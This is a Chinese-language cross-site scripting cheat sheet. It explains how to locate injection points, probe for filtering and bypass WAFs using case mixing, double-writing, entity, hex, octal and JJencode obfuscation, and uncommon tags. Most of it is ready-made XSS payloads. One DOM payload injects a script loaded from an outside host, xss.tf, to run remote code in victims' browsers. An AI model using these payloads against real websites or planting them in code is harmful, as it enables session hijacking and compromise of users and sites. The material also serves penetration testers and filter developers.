xss姿势利用
1.定位页面可以出现xss的位置
可能会出现联合点利用 一个页面多个存储位置或者一个页面多个参数联合利用
例如输入xss 查看页面源码页面里有多个xss 或者多个参数显示 可以利用
需要注意的是有的是js动态加载标签 或者iframe嵌套 和框架嵌套 需要去审查元素
如果xss位置在js 可以直接利用js弱语言的特性直接写js
如果xss位置在html 标签属性中 可以先判断闭合条件 '和" 利用伪协议写js
如果是>< 标签内 可以直接写html 标签 值得注意的是有些标签自带htmlEncode功能
例 <textarea></textarea>
<title></title>
<iframe></iframe>
<noscript></noscript>
<noframes></noframes>
<xmp></xmp>
<plaintext></plaintext>
<math></math>
这些标签需要先闭合不然标签输出的都是文本
2.快速判断过滤
'"<>script onsss javascript 输入是否成功回显 或者判断是否被过滤/转义
3.常见绕过
8进制,16进制,html实体编码 String.fromCharCode()还原ascii
大小写 ,双写,过滤顺序,注释换行逃逸
4.payload 编码利用
<SCRIPT SRC=x ></SCRIPt> 大小写 利用
<SCrIPT SRC=http://x/x ></ScRIPt>
alert(1) html实体编码 利用
<img src=1 ONERROR= "%0ajavascript:%0calert%0d(/xss/);" width=100> 空字符
<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41))</script> ascii 转义
<script>alert`1`</script> 反引号带替()
<script>$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$_$_+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"("+$.__$+")"+"\"")())()</script> jj编码 后 要在用url编码
eval('\x76\x61\x72\40\141\75String.fromCharCode(49);\u0061\u006c\u0065\u0072\u0074\u0028a\u0029;') eval采用混编 16进制 8进制 10进制 unicode编码
5.绕过姿势
利用H5新标签,DOM编程,编码,浏览器差异解析绕过
探测有哪些是被wa了的 '">script img onerror 在探测waf规则...
<scr<script>ipt>alert(/XSS/)</scr<script>ipt> 过滤时双写或者大小写
黑名单绕过比如alert被禁时 可以试试prompt/confirm
<div style=xss:\0065xpression(alert(1))> 仅限IE
<a onmouseover=\u0074> 通过on事件/伪协议的执行js 后渲染的js 全部可以用各种编码混编
所以我们大多是绕过对伪协议的限定
不常见便签来绕过黑名单
isindex,anytag,object ,marquee,audio,video,embed,svg等
tab 绕过 javascri p t 记住要;结尾 这也是利用的js弱语言特性
注释符逃逸 %0a %0c %0d 换行符 %00只在ie8下有用
DOM 编程 例子
<img src='1' name=javasCript:s=document.createElement%28"sCript"%29;s.src="//xss.tf/zuQ";document.body.appendChild%28s%29 onerror=location=this.name />
iframe 的srcdoc 标签利用